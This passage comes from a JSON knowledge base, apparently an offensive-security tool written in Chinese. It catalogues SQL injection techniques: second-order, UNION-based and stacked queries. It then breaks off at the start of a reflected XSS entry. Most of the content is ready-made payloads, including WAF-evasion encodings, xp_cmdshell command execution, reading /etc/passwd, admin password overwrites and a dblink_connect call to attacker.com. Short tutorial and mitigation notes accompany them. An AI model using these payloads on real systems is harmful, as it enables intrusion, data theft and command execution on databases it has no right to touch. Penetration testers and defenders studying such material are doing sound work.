password='new' WHERE username='admin'/*'\n\n注册用户名: CONCAT(CHAR(39),CHAR(32),CHAR(79),CHAR(82),CHAR(32),CHAR(39),CHAR(49),CHAR(39),CHAR(61),CHAR(39),CHAR(49))\n存储后二次使用时自动解码触发注入", "description": "在存储阶段使用注释截断(/**/)或CHAR()编码构造payload，WAF在输入时检测不到恶意SQL，但数据库二次使用时自动触发", "syntaxBreakdown": [ { "part": "WHERE", "explanation": "条件筛选", "type": "keyword" }, { "part": "UPDATE...SET", "explanation": "更新数据", "type": "keyword" }, { "part": "CONCAT", "explanation": "字符串拼接", "type": "function" } ] }, { "title": "Unicode标准化绕过", "command": "注册用户名: admin＇ OR ＇1＇=＇1\n(使用全角引号U+FF07，数据库标准化为半角后触发)\n\n注册邮箱: test@test.com' UNION SELECT password FROM users WHERE '1'='1\n(邮箱验证通过WAF但存储后在其他查询中拼接触发)\n\n评论内容: \\x27 OR 1=1--\n(转义序列在存储层被还原为单引号)", "description": "利用Unicode全角字符(U+FF07)标准化、转义序列还原、不同功能模块的过滤差异来绕过WAF检测", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果", "type": "keyword" }, { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "WHERE", "explanation": "条件筛选", "type": "keyword" }, { "part": "OR '1'='1'", "explanation": "逻辑永真", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "SQL二次注入是指恶意输入在首次存储时被正确转义，但在后续查询中未经转义直接使用，导致注入触发。这种漏洞因为输入和触发分离，极难被自动化工具发现。", "vulnerability": "SQL二次注入的根因在于：开发者在数据写入时使用了参数化查询或转义处理，但在读取并再次使用这些数据时却直接拼接进SQL语句中。典型场景包括用户注册时存储恶意用户名，在修改密码时触发注入。", "exploitation": "二次注入利用步骤：1)注册包含SQL payload的用户名(如admin'-- ) 2)正常登录该账号 3)触发使用该用户名的功能(如修改密码) 4)后台SQL拼接了未转义的用户名导致注入触发 5)通过该注入窃取或修改其他用户数据。", "mitigation": "防御二次注入：对所有数据在每次使用时都执行参数化查询，不仅在写入时，在读取后再次使用时也必须参数化。建立安全编码规范：任何来自数据库的数据都应视为不可信输入。" } }, { "id": "sqli-union", "name": "联合查询注入", "description": "使用UNION SELECT提取数据", "category": "SQL/NoSQL注入", "subCategory": "联合查询", "tags": [ "sqli", "union", "select" ], "prerequisites": [ "存在注入点", "可显示查询结果" ], "execution": [ { "title": "1. 确定列数", "command": "' ORDER BY 1--\n' ORDER BY 2--\n' ORDER BY 3--\n直到报错\n或:\n' UNION SELECT NULL--\n' UNION SELECT NULL,NULL--\n' UNION SELECT NULL,NULL,NULL--", "description": "确定列数", "platform": "all", "syntaxBreakdown": [ { "part": "ORDER BY", "explanation": "按列排序确定列数", "type": "value" }, { "part": "NULL,NULL", "explanation": "逐个增加NULL确定列数", "type": "value" } ] }, { "title": "2. 确定显示列", "command": "' UNION SELECT 1,2,3--\n' UNION SELECT 'a','b','c'--\n找出哪些列会显示在页面上", "description": "确定显示位置", "platform": "all", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果集", "type": "keyword" }, { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "3. 提取数据", "command": "' UNION SELECT username,password,3 FROM users--\n' UNION SELECT table_name,2,3 FROM information_schema.tables--", "description": "提取数据", "platform": "all", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果集", "type": "keyword" }, { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "information_schema", "explanation": "元数据库", "type": "value" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "4. 绕过过滤", "command": "' /*!UNION*/ /*!SELECT*/ 1,2,3--\n' UnIoN SeLeCt 1,2,3--\n' UNION/**/SELECT/**/1,2,3--", "description": "绕过关键字过滤", "platform": "all", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果集", "type": "keyword" }, { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "UNION注入关键字绕过", "command": "' /*!50000UNION*/ /*!50000SELECT*/ 1,database(),3--\n' %55%4e%49%4f%4e %53%45%4c%45%43%54 1,2,3--\n' uNiOn%23%0aSeLeCt 1,2,3--\n' UNION%0a%09%0d%0bSELECT%0a1,2,3--", "description": "使用MySQL版本注释/*!50000*/、URL编码UNION/SELECT关键字、%23换行绕过、空白字符混淆（%09 TAB, %0d CR, %0b VT）", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果", "type": "keyword" }, { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" }, { "part": "/*...*/", "explanation": "内联注释", "type": "operator" }, { "part": "%xx", "explanation": "URL编码", "type": "encoding" } ] }, { "title": "UNION注入NULL字节与分块绕过", "command": "' UNION%00SELECT 1,2,3--\n' /*!UNION*/%20/*!ALL*//*!SELECT*/ 1,2,3--\nTransfer-Encoding: chunked\n\n5\nUNION\n7\n SELECT\n1\n \n0\n\n' UNION SELECT 1,group_concat(table_name SEPARATOR 0x3c62723e),3 FROM information_schema.tables WHERE table_schema=database()--", "description": "使用NULL字节(%00)截断WAF检测、UNION ALL绕过去重检测、HTTP分块传输编码将关键字分散到不同chunk、自定义SEPARATOR替代默认逗号", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果", "type": "keyword" }, { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "WHERE", "explanation": "条件筛选", "type": "keyword" }, { "part": "information_schema", "explanation": "元数据库", "type": "value" }, { "part": "CONCAT", "explanation": "字符串拼接", "type": "function" }, { "part": "GROUP_CONCAT", "explanation": "分组拼接", "type": "function" }, { "part": "--", "explanation": "SQL注释", "type": "operator" }, { "part": "/*...*/", "explanation": "内联注释", "type": "operator" }, { "part": "%xx", "explanation": "URL编码", "type": "encoding" }, { "part": "Transfer-Encoding", "explanation": "传输编码头", "type": "header" }, { "part": "chunked", "explanation": "分块传输", "type": "keyword" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "UNION联合查询注入通过UNION SELECT将攻击者的查询结果与原始查询合并输出，是数据提取效率最高的注入方式，可一次性获取整行整列的数据。", "vulnerability": "UNION注入要求攻击者的SELECT子句与原始查询有相同的列数和兼容的数据类型。漏洞利用前需先确定列数(ORDER BY递增法或UNION SELECT NULL法)，再逐步替换NULL为目标字段提取数据库名、表名、列名及数据。", "exploitation": "UNION注入步骤：1)ORDER BY N确定列数 2)UNION SELECT NULL,...找到回显位 3)替换回显位为version()/database() 4)查询information_schema获取表名和列名 5)UNION SELECT提取目标数据(用户名、密码哈希等)。", "mitigation": "防御UNION注入：使用参数化查询(最有效)，部署WAF检测UNION SELECT关键词组合，限制查询返回的列数和行数，对information_schema的访问权限进行限制，最小化数据库用户权限。" } }, { "id": "sqli-stacked", "name": "堆叠查询注入", "description": "执行多条SQL语句的注入", "category": "SQL/NoSQL注入", "subCategory": "堆叠查询", "tags": [ "sqli", "stacked", "queries" ], "prerequisites": [ "支持多语句执行", "MySQL/PostgreSQL/MSSQL" ], "execution": [ { "title": "1. 探测堆叠查询", "command": "'; SELECT SLEEP(5)--\n'; SELECT 1--\n'; WAITFOR DELAY '0:0:5'--", "description": "探测是否支持堆叠查询", "platform": "all", "syntaxBreakdown": [ { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "SLEEP()", "explanation": "延时函数", "type": "function" }, { "part": "WAITFOR DELAY", "explanation": "MSSQL延时", "type": "function" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "2. MySQL堆叠查询", "command": "'; INSERT INTO users(username,password) VALUES('hacker','hacked');--\n'; UPDATE users SET password='hacked' WHERE username='admin';--\n'; SELECT SLEEP(5);-- ⚠️ 仅验证堆叠注入存在性，严禁 DROP/TRUNCATE/DELETE 等破坏性操作", "description": "MySQL执行多语句", "platform": "linux", "syntaxBreakdown": [ { "part": ";", "explanation": "语句分隔符", "type": "operator" }, { "part": "INSERT INTO", "explanation": "插入数据", "type": "value" } ] }, { "title": "3. MSSQL堆叠查询", "command": "'; EXEC xp_cmdshell('whoami');--\n'; EXEC sp_executesql N'SELECT * FROM users';--", "description": "MSSQL执行命令", "platform": "windows", "syntaxBreakdown": [ { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" }, { "part": "EXEC", "explanation": "执行存储过程", "type": "keyword" }, { "part": "xp_cmdshell", "explanation": "系统命令执行", "type": "function" } ] }, { "title": "4. PostgreSQL堆叠查询", "command": "'; COPY users FROM '/etc/passwd';--\n'; SELECT * FROM pg_read_file('/etc/passwd');--", "description": "PostgreSQL读取文件", "platform": "linux", "syntaxBreakdown": [ { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "堆叠查询终止符替代绕过", "command": "' %3B SELECT user()--\n' ;%0a SELECT user()--\n' ; /*!SELECT*/ user()--\n'; SET @q=0x53454C45435420757365722829; PREPARE stmt FROM @q; EXECUTE stmt;--", "description": "使用URL编码分号(%3B)、换行符分隔、内联注释包裹SELECT、PREPARE预处理执行十六进制编码的查询语句", "syntaxBreakdown": [ { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" }, { "part": "/*...*/", "explanation": "内联注释", "type": "operator" }, { "part": "%xx", "explanation": "URL编码", "type": "encoding" } ] }, { "title": "堆叠查询条件执行绕过", "command": "'; IF(1=1) EXEC('wh'+'oam'+'i');--\n'; DECLARE @s VARCHAR(100)=CHAR(119)+CHAR(104)+CHAR(111)+CHAR(97)+CHAR(109)+CHAR(105); EXEC xp_cmdshell @s;--\n'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) END;--\n'; DO $$ BEGIN PERFORM dblink_connect('host=attacker.com dbname=test'); END $$;--", "description": "使用字符串拼接分割命令关键字、CHAR()编码命令参数、CASE条件执行、PostgreSQL DO块执行复杂逻辑", "syntaxBreakdown": [ { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "SLEEP()", "explanation": "时间延迟", "type": "function" }, { "part": "xp_cmdshell", "explanation": "系统命令执行", "type": "function" }, { "part": "EXEC", "explanation": "执行存储过程", "type": "keyword" }, { "part": "CASE WHEN", "explanation": "条件表达式", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "SQL堆叠查询注入通过分号(;)分隔多条SQL语句，可在一次请求中执行INSERT/UPDATE/DELETE甚至创建存储过程，危害远超普通SELECT注入。", "vulnerability": "SQL堆叠查询在MSSQL和PostgreSQL中默认支持，MySQL在PHP的mysqli_multi_query()下才支持。该漏洞可执行任意DML/DDL操作：插入管理员账户、修改密码、删除数据、创建后门存储过程甚至执行系统命令。", "exploitation": "堆叠注入利用：1)确认目标支持堆叠查询(;SELECT SLEEP(2)) 2)执行INSERT添加管理员账号 3)执行UPDATE修改现有账户密码 4)MSSQL环境下启用并调用xp_cmdshell执行系统命令 5)PostgreSQL下通过COPY TO写文件。", "mitigation": "防御堆叠查询注入：使用参数化查询，数据库连接配置禁用多语句执行，限制数据库账户权限(禁止CREATE/DROP/ALTER)，WAF检测分号分隔的多语句模式，定期审计数据库操作日志。" } }, { "id": "xss-reflected", "name": "反射型XSS", "description": "反射型跨站脚本攻击技术", "category": "XSS跨站脚本", "subCategory": "反射型", "tags": [ "xss", "reflected", "javascript" ], "prerequisites": [ "存在用户输入反射到页面", "输入未经过滤或编码" ], "execution": [ { "title": "1. 探测XSS注入点", "command": "\n\n\n\" onfocus=alert(1) autofocus \"", "description": "基础XSS探测", "platform": "all", "syntaxBreakdown": [ { "part": "\n\n\n\n